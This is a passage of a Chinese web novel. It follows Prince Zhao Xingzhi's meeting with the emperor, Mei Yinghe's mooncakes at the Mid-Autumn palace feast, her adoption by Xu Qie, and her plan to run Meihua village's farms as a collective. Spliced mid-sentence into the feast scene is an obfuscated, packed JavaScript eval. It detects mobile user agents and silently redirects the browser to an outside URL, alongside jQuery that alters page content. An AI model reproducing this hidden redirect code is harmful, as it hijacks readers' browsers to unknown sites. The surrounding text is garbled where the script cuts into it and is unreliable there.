晋王府乃御赐,是先帝在时送给他的冠礼,算是成人后分府别居。当今陛下在做王爷时的郑王府也是御赐,就距离晋王府隔两条街,后来陛下登基,郑王府又赐予了功臣武将。 赵行之的另一座府邸是自己购置的,知道的人不多,也就是梅映禾去的那个宅子,无匾额不奢华,坐落在远离富庶皇族的区域,十分低调。 赵行之今日回的是晋王府。 佑安早已准备好了王爷的朝服,他洗漱穿戴好直接入宫面圣。 兄弟两个还是在三个月前见过一次,也就是那一次赵行之得到了伏击的任务,秘密出发。 那时候还是夏天,天气还很热,赵行之记得,当时宫中刚制了酥山,他也尝了尝,那冰凉凉甜蜜蜜的味道在炎炎夏季很是受用。 赵行之回忆着,想来梅小早一定是爱吃的,不知道她知不知道酥山,有没有吃过。毕竟制冰存冰耗费巨大,普通百姓恐怕是连见都不曾见过的,若是有机会,一定要让她尝尝,以她的敏锐和悟性,一定尝一次就会做了…… 思绪飞出去十万八千里,人已至殿前。 “给晋王殿下请安。” 大殿门口小太监的请安声唤醒了赵行之,险些直接闯入正殿了。 “皇兄……” “可是云策来了,快进来。” 里头赵怀风的声音传来,赵行之不由自主地吸了一口气,稳了稳心神,挺胸迈步进去。 大殿里头,赵怀风临窗而立。 赵行之赶紧行礼:“臣弟给皇……” 话没说完,礼行一半,人就被赵怀风一把抱在怀里。 印象中皇兄的身高和自己相差无几,然才几个月的时间,眼前的人却明显苍老了许多,就连个子都矮了半头。 “回来就好。”赵怀风拭泪,“云策受苦了。” “让皇兄担心了,是臣弟的不是。” “咱们兄弟,不说这些。”赵怀风摆摆手,拉着赵行之坐在软榻上,茶水已经烧好,香飘四溢,仍是皇兄最爱的明前龙井。 茶水递到眼前,赵行之接过,“皇兄的颈椎……” 赵怀风转了转脖颈,“老毛病了,好不了了。来,让朕看看你的伤。” “无碍的,已经好了。”赵行之推脱却还是被一把拉住。 朝服掀起来,狰狞的伤口早已结痂脱落,变成暗红色的疤痕,一条一条赫然眼前,看得赵怀风再次泪目。 他抚摸着那条距离心脏最近的伤疤,“朕已经派人去查了,云策放心,皇兄一定为你讨还公道。” 赵行之点头不语。 “朕的身边,已无人可信了。” 这是一句十分泄气的话,想三个月前,兄弟二人密谈,除了上茶倒水的小太监进来过一趟之外,再无其他人伺候,大殿之内如今日一般只有兄弟二人,究竟是谁能够探听到如此秘密的消息呢。自然,莫说是那个上茶的小太监,就连当日当值的所有的太监宫女都已被下大狱严审,可依旧一无所获。 “此事不急,想来那人定是打扫干净了,古人云,事缓则圆,或许静待些时日,破绽就露出来了。”赵行之道。 赵怀风点头又摇头,“皇兄一想到有人想要云策的命,心里就突突直跳。” “臣弟命大,被梅花村一户村民所救。”赵行之坦言,“那对兄妹极会做吃食,臣弟的厌食之症都被治好了。” “哦?”赵怀风果然听闻这个消息喜上眉梢,“真的吗,真的治好了,愿意吃东西了。” “胃口还特别好呢。”赵行之一边喝茶一边吃着盘中的精致茶点,想起自己这些日子看什么都想吃,就拿眼前这盘子糕点来说,若是从前,他是连看都不看一眼的,现在却想要尝尝究竟是甜是咸。 “哈哈哈哈。”赵怀风笑得开怀,“看来果真是好了,究竟是什么样的兄妹两个,竟比太医还厉害。” 看看赵行之含笑垂头,并没说什么,赵怀风也不多问,只道:“如此,今年的中秋宴必要大办一场。” 随后又压低声音,说:“你皇嫂早就张罗着为你选妃,许多幅小娘子的画像挂在她寝殿里头,都挂满了。” 赵行之:…… “这个,还是……” 他想拒绝却被赵怀风打断,“云策已弱冠,此事不可再推了。” 兄弟说话向来都是皇兄说得多,赵行之无可无不可都只会点头答应,可是这一次他却坚定地想要拒绝,“可是臣弟……” “没什么可是的。”赵怀风大手一挥,低笑一声,“朕可是听闻云策和一位夜市西施关系颇为亲密,可是当真?” “没有的事。”赵行之赶紧否认,“臣弟只是觉得如今自身难保,不想牵连旁人。” 这话倒是真的,赵怀风拍着他的手点头,“你放心,皇兄不会让你受委屈的。你方才说起那救你的兄妹,一定要厚赏。” 既有了这话,赵行之便自然想起了梅映禾和梅花村的事,索性顺水推舟,道:“那对兄妹十分勤奋努力,只是许多事情由不得人。” 说起这些,赵行之将梅花村这些年来的情况和盘托出。皇帝陛下高高在上,每日批复奏折巨万,却未必能够顾及到如此细枝末节又复杂的问题上。 听完赵行之的话,赵怀风果然略显诧异,他竟没想到距离京城如此之近的地方,百姓竟过得水深火热。 “百姓的事再小也是大事。”赵怀风当即命人将这些年梅花村的卷宗统统搬到御书房,“云策倒很是细心。” “不是臣弟,是许大人。他任县丞,负责梅花村的事宜,这些……”赵行之顿了顿,“都是许县丞告知臣弟的,想来他的奏折这几日便能递到御前了。” “许且?你们倒是有缘分。”赵怀风哼道,“这位老人家,年纪越大脾气越倔强,朕派人三番五次去请他入朝同商大计,他倒好,非要去做县丞,就是不愿看见朕。” 皇帝陛下露出难得一见的怨愤,倒是惹得赵行之一笑,“如今许大人的想法变了许多,皇兄不妨再找他谈谈,或许会有惊喜。” 他始终都是温温吞吞不急不慢的样子,恭顺听话。 赵怀风笑道:“那就听云策的,只要他愿意,朕都愿意亲自登门,毕竟是咱们从小的老师,你别说,朕在他面前到现在都有些发怵。” 一阵调笑,气氛更加融洽了。 赵行之竟有一种回到了儿时的感觉。那时候的赵怀风还不是高高在上的皇帝陛下,还是他最可亲可爱的兄长,今日,他的兄长似乎又回来了。 “皇兄,臣弟有一事向皇兄请罪,未经皇兄同意,臣弟已经部署安排人去做了。”赵行之说,“经此一伤,臣弟的军队大大受挫,所以,臣弟想趁着年底之前招兵。” “嗯。”赵怀风道,“朕今日叫你来也正好想跟你商量这件事。这些年你不曾招兵。” 说到这里,他顿了一下,“但是,现在无论是边关的战事还是内局的变化,招兵势在必行,外忧内患,朕心难安。不过看来你我兄弟果然一心,想到一处去了,既如此,此事就交给云策自行定夺吧。” 竟如此顺利,赵行之突然有一种自责的感觉,自责自己想得太多了。这些年他刻意回避政事,从不参与朝堂纷争,与众位臣工也无甚交情,甚至连自己的部队招兵都谨慎小心,瞻前顾后……其实,大可不必如此。 此时外头传来脚步声,一名小太监来报:“陛下,午膳准备好了。” “哎。”赵怀风一声叹息,苦着脸无奈道,“你看,朕还说你的厌食之症,这些日子朕也无食欲,一看到他们端进来的那些就想吐。” 小太监吓得扑通一声跪倒在地,不敢说话。 “起来,与你无关。”赵怀风不耐道,“等等再传膳吧。” “皇兄。”赵行之站起身,“臣弟新学了一道羊肉汤面,做得极好,不如臣弟亲自下厨做给皇兄尝尝。” 这可是惊呆了赵怀风,没想到他还会做面,自然龙颜大悦,不仅如此,赵怀风还亲自跟去了御厨房,在一旁看着他操刀。 热锅烧水,两个炉灶同时开启,赵行之将梅映禾教的方法刻在了脑子里,第二次做熟练了许多,很快,两碗热气 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赵怀风惊讶,“好,甚好,难得你想吃,都给你带走。” 晋王殿下破天荒第一次要带吃食回去,可是惊喜坏了皇帝,直接派辆马车,统统给他拉回府去。 赵行之出宫的时候时辰尚早,雨已经停了,一大车月团点心就被拉进了梅花村。 说到月团,梅映禾自然也不会闲着,早早地就准备起来了。伍仁馅的属于那种不出彩却也少不了的存在,少做一些;莲蓉的、豆沙的、枣泥的必不可少,却也不用太多。出彩的打算做抹茶的和水果馅的,但是物以稀为贵,作为噱头也并不打算做很多。鲜肉馅的梅映禾做得最好,打算多做一些,另外还有蛋黄的应当也会受人喜欢,可以多一些,再配上少量的鲍鱼和海味馅的,符合富贵人家送礼的排场,这便足够了。 梅映禾忙着选料调试馅料,小九忙前忙后摇着尾巴要吃的,她便时不时丢给它一口,小九开心又开胃,多么和谐的一对吃货。 之所以做这么多,梅映禾是盘算过的,要送的人很多,许县丞、文大人、郑大人、阿婶、阿叔、村长……还有村民们和早食、夜市的邻居们,一个都不能落下。 这是个大工程,今日梅映禾特意先各种馅料做了几个,带去给许大人尝尝鲜。 月团和零食点心准备好,兄妹两个重新洗漱,换上了干净的衣裳一起去了县衙,真是没想到许大人的居所竟如此简陋,破屋残瓦,屋内的陈设简简单单,门前的小路坑坑洼洼…… 许且见到二人眼睛里直冒光,听到梅映禾说做了新的月团送来,更是高兴地眉开眼笑,“老夫活到这把年纪可算是开了眼界了,没想到月团还能有这么多花样,甚好,甚好。” 老大人吃得胡须上挂了渣,很是开心。 梅九畴也没闲着,看着老大人身边的家仆老迈的老迈,瘦弱的瘦弱,干脆,挑水、劈柴、修桌椅房屋,这样的体力活就都包揽了,乐得家仆嘴巴一直咧着,“多谢”个没完。 “大人喝点茶慢慢吃,小心吃得太饱了。”梅映禾拦着老大人,他已经连吃了四块月团了,还要伸手去拿,再吃就怕不好克化,梅映禾道,“好吃的多着呢,大人的口福在后头呢。” 说完从怀里掏出一个包袱,“大人,我们兄妹二人今日是来还钱的。这是欠大人的七百文钱,还有大人借给我们的二十文,如数奉还。” 兄妹二人恭敬下跪行礼,“多谢大人大恩,我们兄妹没齿难忘。” 许且也很激动,“这才两个月,你们就提前还钱来了,好,甚好。听说你们做得风生水起,如今看来属实了,老夫放心了。” 老大人赶忙扶起二人,上下打量着梅映禾,越看越觉得像,行事作风也很像,恐怕那个老头儿自己看见了也会吓一跳的。若是他还活着,一定会认下这个干女儿。 “老夫也有一个好消息,梅花村的籍属问题已到御前,很快便能批复了。”许且笑问梅映禾,“日后你们村的人可以自由出入京城了,你可有入京的打算,有用得着老夫的地方尽管直言。” “不瞒大人,今日来也是为了此事。”梅映禾默了默,道:“籍属证明能否请大人暂缓。” 22. 中秋月圆 许且眉头微蹙,却没有惊讶:“这是为何?” 梅映禾向老大人详细解释了梅花村目前的困局以及老村长所托之事,这些情况许且都是十分清楚的,看着老大人捋须点头双目微合的样子,梅映禾说: “其实我也并没有想好要不要暂缓,并不是真的让大人暂缓,籍属证明还是要尽早拿到为好,哪怕放在大人这里,我都是安心的。只是我这些日子在京城做生意,我深切地感受到京城之大,万物丰饶,竞争太激烈,我是怕我们没有准备好就一头扎进京城,如果无法一炮而红的话,再翻身就难了。” “他们祖祖辈辈兢兢业业研究地里的东西,不了解行情更不了解京城,也不晓得如何竞争才更具有优势。若是这样一家一家单打独斗,将东西、作物拉出去卖,或许零星能卖出去一些,可是即便我们的东西再好,难道这天下,这京城就没有比我们更好的了吗。” 许且凝神看着她,似乎明白了她想说什么。 梅映禾继续道,“梅花村的肉好菜好作物好,一是因为水土好,二是大家多年不能出去无事可做,每日除了研究自己的一亩三分地再没别的了,这才照料得十分妥当。试想,若是能够进京,大家繁忙起来,照料家禽作物自然不及先前,再加上入京看了更好的东西,是不是会挫伤积极性打击自信心呢,所以……” “大人,我想彻底改变梅花村如今的现状,将整个村子作为一个整体。”切入正题,梅映禾十分激动,索性拉了小凳子,距离许且更近些,“养家禽牲畜的集中起来养殖,有擅长此道的人专门负责,白天晚上轮值日夜有人看守,细细照料。种菜种地的也如此,每一种经营都有一批最适合最有经验的人做,就如同上工一样,付给大家酬劳,各凭本事竞争上岗,这样每家每户的人都能做到自己最擅长的事,也有月俸可拿。” 许且追问,“那提供家禽牲畜和庄稼地菜地的人家呢?” “给予租金补助。”梅映禾答。 许且又问,“若是有的人家实在什么都不擅长呢,岂不是没有了收入。” “这个我也已经想好了。”梅映禾略有些羞涩道,“我的早食、零食,还有那些简便易做的小吃卤味都可以教给他们去做,只要他们愿意学,我就能教会。我还可以提供料包,他们也可以自己加进去其他的吃食,到时候都可以到京城去售卖。京城这么大,分开区域就可以了。” 梅映禾露出一脸憧憬真诚的笑容,看得许且略有怔愣。 他没有想到,这样一个小娘子竟有如此心胸,还有如此宏大又创新的计划,并且丝毫不藏私。 梅映禾说的这些对许且而言很是新鲜,闻所未闻,想来,古往今来也未曾有人尝试过,但是许且却坚定地认为,此事可行。 看着老大人瞪着自己一言不发,梅映禾有些心虚,莫不是这些想法太过超前,老人家不能接受被吓到了? “大人,这样做的好处就是,梅花村出来的东西一定是精心养殖种植的,能保证质量,而且能形成品牌效应,也更容易走出规模,价格上必然有优势,这就能抢占市场份额。只有下狠手,才能同京城里各种优秀的同行一较高下,也能让这个行业良性循环,最终实惠的还是百姓和朝廷。” 这话切中了要害,梅映禾越说越激动,捏着拳头涨红了脸。 “小早。”梅九畴忙完进来,“若是无事别打扰大人太久,咱们该回去了。” “且慢。”许且打断了梅九畴,点着手指示意梅九畴,“你坐那,别动,我要同小早好好聊聊。” 梅映禾松了一口气,冲哥哥笑笑,“哥,坐那吃东西。” 梅九畴“哎”了一声,乖乖坐下,不打扰他们。 “如此说来,所有的收入归公吗,去除掉月俸、购置成本、租赁成本,利润如何分配?” “如果有的人家什么都不想做呢,又该当如何。” “养殖种植的技术断层,怎么办。” …… 许且问了一系列的问题,都是十分紧要又十分细节的,梅映禾一一作答,许且在她思路的基础上加以修正给出意见,梅映禾如获至宝。 这一席谈话一直持续到日落西山,兄妹二人这才辞出,许且送他们到门口,遗憾道:“本该留你用晚食,老夫还有一事想要征询小早的意见,可是若是留下来也一定是你张罗忙活,又要劳累,不如改日老夫请你们酒楼吃席,咱们畅谈。” 梅映禾问:“大人有何事,不妨直言。” 许且想了又想,竟露出一丝羞涩,道:“改日再说吧。” 梅映禾也不追问,笑着告辞离去。 二人回到家的时候天色已经完全暗了下来,可仍旧能看到莹莹的灯火,一辆马车停在院子里,正在往下搬东西。 “七哥。”梅映禾上前,看到了正在搬东西的赵行之和佑安。 “给你带了好些月团和点心,你去看看,有什么可参考借鉴的。”赵行之说。 “多谢七哥,哪里来的,怎么这么多。”梅映禾望了一眼,好家伙,足足一大车。 “我买的。”赵行之回了一句,就被梅九畴拉到一边说话去了。 佑安忙着搬东西,说什么都不让她动手,梅映禾只得进屋看着堆得满满当当的礼盒很是好奇,拆开来看看,呀,果然精致,不知道是哪个铺子卖的,一定不便宜。 她努力翻找点心和盒子上是否有店家的印记,可是翻来覆去都没找到。 梅映禾想,怎么会有店家做点心都没有自家名号呢,再看看那些点心,咦,好像有些不同。 松子百合酥、枣泥酥饼、秘制蜂巢糕、香滑芝麻糕……这些不是宫里头的点心吗,民间不会有啊。 这是梅映禾在上一世研究古代点心的时候特意留意过的,这些点心用料上乘、做工精细,在民间是断见不到的,即便是流传出来,因为用料不同做出来也不是那个味道。 梅映禾吃了一口,果然,如果没猜错……她又低头看看,竟然看到了宫廷太后饼,确认无疑了,这些东西是宫里御膳房做的,所以才会没有印记,可是为什么七哥说是自己买的呢。而且,他竟然能从宫里头带出来这么一大车糕点…… 梅映禾想起了他身上的伤,那块玉佩,他的府邸,还有夜市里大家调侃赵行之的话,那些流言蜚语,心里有了计较。 “行,我听你的。” 门外,梅九畴和赵行之相携进来,梅九畴看上去很是开怀。 梅映禾也没再提点心的事,既然他不愿意说一定有他的道理,经过这些日子相处,梅映禾觉得最起码七哥是个好人。 “哥哥,你们在说什么。”梅映禾问,放下了手里的点心盒子。 “没什么。”梅九畴笑说,“暂时保密。” 行吧,男人都有自己幼稚的小秘密,梅映禾也不多问。 接下来的几日梅映禾便是忙着做月团送月团,早食和夜市的摊子索性都交给了小梅姐去经营,十分顺畅,更加坚定了她放加盟的信心。 月团做得出乎意料的好,送出去反馈回来的全是好评,还有人专门来买的,于是梅映禾便尝试开始售卖,早食自然不合适,只有夜市了,精致的外形,独特的馅料口味,还有小娘子的祝福语小纸。虽然梅映禾的毛笔字似狗爬,那便藏拙啊,写艺术字,爆炸、描边、加立体,再画一些卡通小画,别具一格,倒成了一道特有的标记,竟还有人为了这张小纸专门来买月团的,梅映禾很是欣喜,心中那一点点艺术家梦又开始萌芽了。 赵行之将梅小早的月团送到了宫中,得到了赵怀风的好评,还特意让他定了许多,中秋宴的时候送给众臣,以示天家关怀。 头一次接了大单,一下子就是一千文,财迷梅映禾高兴坏了,每天忙得不亦乐乎。 中秋这一日,宫宴之上,送出去的月团自然成了一道出彩的环节,要知道梅小早的月团可是一团难求的,外头紧俏得很,有银子都买不到。 “陈大人是什么馅的,哟,我这里抹茶的。” “下官记得太医说过王大人不能吃蛋黄,不如下官拿这枣泥的跟您换蛋黄的。” “这鲍鱼海鲜的可是难得,不知陛下还有没有,咱也不敢问。” …… 细听下去,大殿之内大家竟私下讨论月团的馅料,相互炫耀调配,好不热闹。 若是看到这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14115310|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幕,梅小早岂不是要骄傲地尾巴翘上天了,赵行之想,与几位同僚推杯换盏之后,默默退出了宴会,脚步匆匆直奔夜市而去。 中秋是大节日,京城更是兴旺热闹、通宵达旦。 节前酒楼里就要准备新酒,店家们也都会上新菜、新点心果子,家家店前的彩楼要重新装饰,挂出灯笼、彩旗,白日迎风招展夜晚旖旎辉煌。亭台楼阁张灯结彩,街道上人挤人热闹非凡。还有每年都有的花车巡游,花车上的舞姬翩翩起舞,喝彩声此起彼伏,整个京城都融入在喧嚣璀璨之中。 夜市也是人头攒动,梅小早的摊铺前果然仍旧人满为患。 梅映禾抱着小九守在摊铺上,今日不现做,卖的都是成品,只需要看着就行,所以她就趁机将哥哥和小梅姐撵去逛夜市了。 梅映禾发现,经过这几日二人一起出摊配合,再加上没有了她和七哥两个电灯泡,哥哥和小梅姐的感情急速升温,在她面前都忍不住要勾勾小手了。 夜市热闹,街面上的人比往日还要多,灯火通明,每个人都笑靥如花。 梅九畴拉着小梅的手,生怕人给挤丢了,买了吃的喝的,还有好些头饰玩意儿,小梅赶紧拉着他,“九哥别买了,够了,银子省着点儿花。” 梅九畴一挥手,“放心吧,九哥日后拿饷银了。前日招兵,我听七郎的,去试了试,结果今日放榜了,我已经被招上了,下个月就是正式的兵士了。” “真的吗。”小梅欣喜,“可太好了,小早知道吗。” “还没来得及告诉她,回头给她个惊喜。” “九哥你可真了不起。”小梅激动得热泪盈眶,被梅九畴一把搂紧,“日后九哥一定让你和小早过上好日子。” 妈呀,远远地,梅映禾看到了两个人越贴越近,哎呀,没眼看。 转过头,哟,一个熟悉的身影正朝着她走过来。 “七哥怎么来了。”梅映禾吞下去后半句话,这时候不应该在宫里宴饮吗。 “来看看你。”赵行之应道。 刚巧,梅九畴和小梅也逛回来,硬是催着梅映禾和赵行之去逛一逛,”让你七哥陪你,别在这碍事,把小九也带走。“ 梅映禾:…… 这就开始嫌弃我们单身狗了。 在夜市忙了这么久,认认真真逛夜市还是很久之前的那一次,如今又增添了许多摊铺和酒楼,其中一间名为杏花楼的酒楼最近风头正劲,据说那里头的杏花酒十分有名。 梅映禾对于酿酒这个行当十分感兴趣,驻足门口,“七哥,我请你吃饭吧。” 话音刚落,一个熟悉的声音响起,“老夫做东。” 是许且,梅映禾自然恭敬不如从命,能省的银子还是要省的。 她想尝尝这杏花酒的味道,若是日后能在京城开一家酒楼,那自然也是要酿酒的。 “这位是……”许且装作不识赵行之,故意问道。 “在下赵行之,字云策。”赵行之起身行礼,“久仰许大人大名,失敬。” 二人真人面前打诳语,梅映禾自然知道他们是相识的,只是戳破窗户纸不是她的习惯,当作不知,就看看他们二人怎么演吧。 两个人假意客套了几句,便都不再说话了。 梅映禾问:“大人今日好兴致,可是有喜事。” 许且惊讶,“老夫就这么藏不住事儿吗。” 许且被陛下逼着回京入朝堂,可是老头儿就是不愿意日日上朝,说是太早起不来,也没法吃早食,人生如此实在无趣,这才退而求其次,做了京城的府尹,也算是被陛下看在眼前了吧。 听闻此,梅映禾举杯恭喜,许且却摇头,“哪里有这样的恭喜的,都没有礼物和诚意。” 梅映禾:…… 想来老大人这是又馋了,刚想许诺明日给他送更多好吃的,谁知老大人说:“还记得那日我同你说过有一件事征询你的意思,你今日若是答应了,便是老夫最好的礼物。” 梅映禾许诺,“今日大人说什么,小早都应下。” “如此甚好。”许且郑重道,“我年事已高,膝下无子女,想收你为义女,不知小早可愿意。” 23. 整理梅花村 “啊。”梅映禾没反应过来,这么好的事会落到自己头上吗。 见她怔愣,许且不语,赵行之倒是从旁劝道:“这是好事。” 自然是好事,而且是天大的好事。 许大人为人和善、平易近人,又是个爱吃豁达的老头,对梅映禾兄妹也是极尽关照,只这份恩情,梅映禾觉得就是自己的造化了。 “大人说得可是真的。”梅映禾有些不敢相信,“那,我哥哥呢。” “你们兄妹分不开,自然是一同认下。”许且说。 “大人,你等等,我去叫我哥哥来,这顿饭我请。”梅映禾一溜烟就往回跑,小九撒丫子跟在后头拼命追,小娘子飞起的发辫和小九飞起的耳朵在风中摇曳。 看着她兴冲冲的样子,赵行之朝许且比手,“多谢大人。” 许且摆手,“这也是老夫的心思,这对兄妹,应当有个依仗。” “那如此说来,大人日后就算是为了这对干儿女也会鞠躬尽瘁了。”赵行之嘴角微微上扬弯起,狡黠的眼神看着许且。 “你呀,没想到云策也是个促狭鬼。”许且笑道,“那自然是为了百姓为了你们老赵家,死而后已了。” 这是一次不同寻常的中秋宴,喜事连连。 其一梅映禾和梅九畴行了大礼认许且做义父,小九也跟着拜在了许大人门下,如今可是府尹家的狗了,骄傲着呢。 其二梅九畴也宣布了自己应诏军队的事,许且大为赞赏,“好男儿当为家国尽忠。” 梅映禾高兴地直流眼泪,“阿爹知道了会高兴坏的,哥哥真厉害。” 其三许且说:“梅花村的籍属证明陛下已经批复了,现在正在赶制,恐怕需要些时日才能整理成册归档,然后才能下发,大约一个月左右,而且还特批了补偿银,每户每日20文,虽然只补了一年的,可是也比没有强,毕竟现在朝廷也不富裕了。” 许且有些遗憾,梅映禾却高兴道:“时间刚刚好,银子也正是雪中送炭,这么算下来我们岂不是可以领到七千三百文,天呐。” 这对梅花村的每户人家而言都是巨款,有了这些银子,大家的心能安定不少,对于梅映禾要重新整理梅花村的产业,是个非常大的帮助。 中秋之后,赵行之就离开了梅家,为此兄妹两个都哭成了泪人。 赵行之劝道:“我就在京城,日后会时常见面的。” 梅映禾把他拉到一边,小声问:“七哥是不是什么王爷,我都猜到了,你还装。” 赵行之也不避讳,早就想到凭她的聪明迟早能猜到,直言道:“有事去晋王府找我。” 梅映禾点头应下,“我不会张扬的,免得给七哥添麻烦,我保密。” 她倒是想得周到,赵行之揉了揉小娘子的发顶,还真是有些舍不得。 送走了赵行之,又帮忙义父整理县衙的物品送到了京城,陛下御赐了一间宅院,许且想要留兄妹两个住下,梅映禾说不急,“梅花村的事情整理好,我和哥哥一定会搬过来住的,到时候我还要在京城里开铺子呢。” 许且笑说:“好,赚银子要紧,只要入京了就回家里来,房间院子都给你们准备好了。” 为了给梅映禾打气,许且还亲自同她去了老村长家里,将她的想法跟老村长说明白,老村长虽年纪大思想却豁达得很,既知道这样做是对的,那便坚决执行,况且还有许大人作保,当即拍板同意,次日便召集大家开会。 村长首先发话:“咱们梅花村憋屈了这么些年,小早替大家向朝廷的大人们申请了籍属证明,等下来之后咱们就有好日子过了。可是,你们也别把事情想得太过简单了,京城是什么地方,那是卧虎藏龙之地,咱们觉得自己的蔬菜粮食家禽都不错,可是拿到京城你跟人家比比看,倒也不见得好到哪里去,更何况人家还有门路跟大酒楼食铺都有生意往来和交情,咱们一个一个跑出去单打独斗,怕是日后的日子依然艰难。” 老村长的话说得大家先是兴奋高兴,之后细想倒也是。 京城多繁华,什么没有,这样的菜虽说不赖却也不能说是独一份的好,那就必然要跟人家抢生意,日子算是打开了局面,可也迎来了更大的困难。 “村长,你这就吓唬咱,那咋办呢。”有人问。 村长说:“莫急,等我把话说完。梅家兄妹这些日子去了京城做生意,算是对京城有了解,知道世道有多艰难,但是人家小早做得好呀,大家都看到了。所以我就请了小早来帮帮咱想想法子,你别说,小早是个好孩子,这不,咱们就听听小早怎么说。” 在大家殷切的目光中,梅映禾首先宣布方案: “总体来说就是要破旧立新,改变每家每户单独行动的方式,把梅花村变成一个整体,我们是一个大家庭,所有的资源集中,统一调配,统一养殖种植,统一管理,然后发月俸分红。” “首先,种植养殖分开。先说种植,分三类,其一粮食,其二蔬菜,其三瓜果。养殖分两类,牛马羊一类,鸡鸭兔第二类。每一类都选出一个小组三十人专门负责管理,大家家里有什么只管拿出来,有人替你们打理,有人替你们种植,也有人负责卖,这二十人有月俸可以领,每人每月1000文,提供家禽和土地的人家,每月可以拿到1000文的租银,不需要管任何事。” 这话说完,有人觉得高兴,把地交出去每月1000文,再把家里的鸡鸭交出去每月又是1000文,兄弟两个一个管地一个管鸡鸭,每月一共就是4000文,相当可观的收入了。 大家议论纷纷,梅映禾点头,“这个账算得对。但是这个整理的过程需要时间,三个月为期,这三个月紧着现有的东西先卖,三个月后咱们能产出质量更好的,而且我可以负责帮大家宣传,打通京城的销路。” “这样一来咱们就不愁卖了。”大家纷纷赞同。 但是反对的声音也不是没有,赵老汉摇头:“自己的地自己的家禽牛马,我就不相信旁人能比我还了解,能做得比我还好。” 东头钱家也赞同,“这样交出去左盘右盘要好几个月,咱们拿到了补偿银,只等籍属证明下来我就能拉着菜进京去卖,就能拿现钱。” 这话又说动了几户人家,纷纷摇头。 孙家说:“交给你们万一你们做不好怎么办,我不信,我退出。” 又走了几户。 没关系,梅映禾料到了一定会有人反对,“走的就走了吧,咱们继续往下说。” “方才我说了,咱们大家分工。谁擅长做什么有经验的,就可以自告奋勇做,但是会相互之间竞争,谁技术好有责任心,谁来做。这样分成种植组和养殖组,白天夜里两班倒,做到日夜看顾,一定保证出品质量。” “另外,既然已经交出去的地和家禽,就不要过问,做坏了会负责赔偿。但是私下里就不能再私自种植养殖了,抓到了就充公。” 梅映禾话音落,下面又是一片议论声。 大家咂舌:“这么费事呢。” 可是想一想每月有月俸,这相当于旱涝保收,干,纷纷报名。 王大婶直接站出来,“我不同意这样分,选不上多丢人,被人挤掉多丢人。” 周家媳妇也说:“我不愿意,还不让自己养鸡鸭,那我不干。” 吴家新媳妇年轻,站起来问:“这每一队才三十人,种地种菜种瓜果九十人,养鸡鸭养牛马羊六十人,这才一百五十人,去掉老人家和小娃娃,咱们村的劳力男女都算上还有一百人,怎么办,什么都不拿,那不公平。” 梅映禾笑道,“这便是我接下来想说的,我的梅小早零食、卤味、早食、小吃,你们也看到了,赚钱了 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梅映禾说:“大家听我把话说完。之前说的种植养殖都是村里的事,是公事,我这个叫加盟,是我私人的事,所以规矩我说了算,受不了我规矩的,做的不合格的,有损梅小早名声的,吃不了苦的,不敢张口吆喝说话的,脾气不好的,都不行。” 好家伙,这么多要求,这不行那不行,倒是劝退了一些人,却仍有许多人跃跃欲试。 梅映禾又说:“我建议大家先报名种植养殖业,我这里筛选严格,到时候两头落空就不好了。还有,所有报名的人都要服从管理,咱们每一个行当都有自己的排班和规矩,不守规矩的,一律不要。” 要说的话都说完了,大家开始讨论,有跟自家人商量分工的,有跟邻居讨论的,也有毫不犹豫就来报名的,自然,也有人离去放弃的,大约占了三分之一。 村长发愁,“这些人放弃的怎么办。” 梅映禾道:“每个人想法不同,总有人放弃的,那就让他们自己先去闯荡历练,若是能成功呢,也能帮村子里多开发一条路,若是不成再回来的那就再说。就说这批报名的人,也总会有人先富有人后富,这事不能一刀切。” 看大家纷纷报名登记,还有人在犹豫,梅映禾说:“还有一个门路,需要一些年轻力壮的,负责把东西拉到京城去卖,然后买种子牲口肥料回来,并且负责送货运货,这个比较辛苦而且早出晚归的。” 这就又多出来一支队伍,有些人什么都不擅长并且不喜欢说话的,就像梅九畴那样的性子,最适合做运输,有体力不怕累。 梅映禾整理大家的资料,说:“我们会筛选、比较,最终名单明天放榜,大家看榜,咱们的宗旨是‘梅花村出品,必出精品’,大家做事认真负责,别砸了自己的招牌。” 大家纷纷应是。 这一切进行得很顺利,走掉的人也比梅映禾预计的要少,小娘子一张小脸热得通红。 大家纷纷称赞她: “这梅家小早现在真是出息了,瞧人家说话做事头头是道,真厉害。” “她哥哥九郎,听说报名进军队拿饷银了。” “这对可怜的兄妹总算熬出头了。” …… 许且一直在一旁看着,心里默默骄傲,他眼光一直都好,选得这对儿干儿女真真是长脸。 事情安排好了,梅映禾和老村长又商量着选出几个人作为领头羊负责每一组的牵头,村长说:“小早,接下来的事你只管说,我负责办,你来检查,保证按照你说的完成,也不能太教你操心,你还有自己的事情要做。” 梅映禾也不推辞,“管理村民还是村长最有经验,我负责隔几日查看成果,另外还有一件更重要的事情,我来负责。” 宣传,打出名声,让梅花村一炮而红,这才是重中之重,只要村长能把握好质量关,配上宣传,一定能成功。 24. 好吃食铺 现在的梅花村一片如火如荼地忙碌景象。 在村长的带领下,凡是愿意投入新队伍的都将自家的鸡鸭牛羊猪和地登记,也都得到了能拿月俸的差事。有的一家几个儿子的,每人都有一千文的月俸,再加上租赁地和牲口家禽的收入,日子过得好起来。有的人家,人口少妇孺多的,不适合做种植养殖的活,梅映禾就教嫂嫂姐姐们卤鸡鸭、做零食,她们勤奋又认真,很快也都能上手了,做出来的东西很是不错,用梅映禾的话说:“没砸招牌。” 这便算是通过了,只有一些实在保守不看好这样分配协作的人家,仍旧是单打独斗,准备自己入京尝试。梅小早那个黄毛丫头都行,咱们为什么不行。这是他们不服输的想法,梅映禾觉得这样蛮好,有股子劲儿,那就先去闯闯看,不行再回来,村里还是他们的依仗,只不过上好的资源和活儿恐怕就被人占了,那就到时候再说。 一个月过得很快,梅九畴要去报道了,梅映禾忙着给哥哥张罗衣裳、鞋袜,还有一些吃的。 李婶儿说:“吃的东西你准备,咱们不在行这些,其他的你就别弄了,小梅都准备好了。” 